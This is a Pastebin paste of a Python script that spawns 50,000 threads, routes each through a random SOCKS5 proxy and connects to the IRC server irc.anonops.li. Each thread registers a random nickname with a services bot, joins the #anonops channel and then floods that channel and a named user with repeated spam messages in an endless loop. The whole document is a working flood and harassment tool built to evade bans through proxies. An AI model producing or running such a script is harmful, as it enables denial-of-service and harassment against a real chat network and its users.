Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- # Import some usefull stuff
- import socks
- import random
- import threading
- import time
- import string
- class MyThread(threading.Thread):
- def run(self):
- ircsock = socks.socksocket()
- choice = random.choice(lines)
- choice = choice.split(":")
- pport = choice[1].replace("\n", "")
- pserver = choice[0]
- try:
- ircsock.setproxy(socks.PROXY_TYPE_SOCKS5, pserver, int(pport))
- ircsock.connect((server, port))
- print("Connecting trough "+ pserver +":"+ str(pport) +"...")
- ircsock.send("USER "+ nick +" "+ nick +" * :"+ nick +"\n")
- ircsock.send("NICK "+ nick +"\n")
- ircsock.send("JOIN #buffer\n")
- ircsock.send("PRIVMSG #buffer :I will register my nick ("+ nick +") with the password "+ nick +"h and the email "+ nick +"@gmail.com!\n")
- time.sleep(60)
- # This will register the nickname.
- ircsock.send("PRIVMSG thugaim :REGISTER "+ nick +"h "+ nick +"@gmail.com\n")
- #Send message about winning!
- ircsock.send("PRIVMSG "+ channel +" :I just registered my nick ("+ nick +") with the password "+ nick +"h and the email "+ nick +"@gmail.com!\n")
- # Joins the channel
- ircsock.send("JOIN "+ channel +"\n")
- while 1:
- ircmsg = ircsock.recv(1024)
- ircmsg = ircmsg.strip('\n\r')
- ircmsg = ircmsg.lower()
- ircsock.send("PRIVMSG "+ channel +" : "+ message +"\n")
- ircsock.send("PRIVMSG "+ channel +" : "+ message +"\n")
- ircsock.send("PRIVMSG "+ channel +" : "+ message +"\n")
- ircsock.send("PRIVMSG "+ channel +" : "+ message +"\n")
- ircsock.send("PRIVMSG "+ channel +" : "+ message +"\n")
- ircsock.send("PRIVMSG owen : "+ message +"\n")
- ircsock.send("PRIVMSG owen : "+ message +"\n")
- ircsock.send("NICK "+ nick +"\n")
- if ircmsg.find("ping :") != -1:
- ping = ircmsg.split("ping :")
- ircsock.send("PONG "+ ping[1] +"\n")
- time.sleep(1)
- except:
- print("Could not connect with the proxy")
- for x in xrange ( 50000 ):
- nicklength = random.randint(3,15)
- server = "irc.anonops.li"
- port = 6667
- nick = "lulz".join(random.choice(string.letters) for _ in range(nicklength))
- channel = "#anonops"
- message = "Lolanonops"
- fil = open("socks5.txt", "r")
- lines = fil.readlines()
- MyThread().start()
- time.sleep(0.02)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement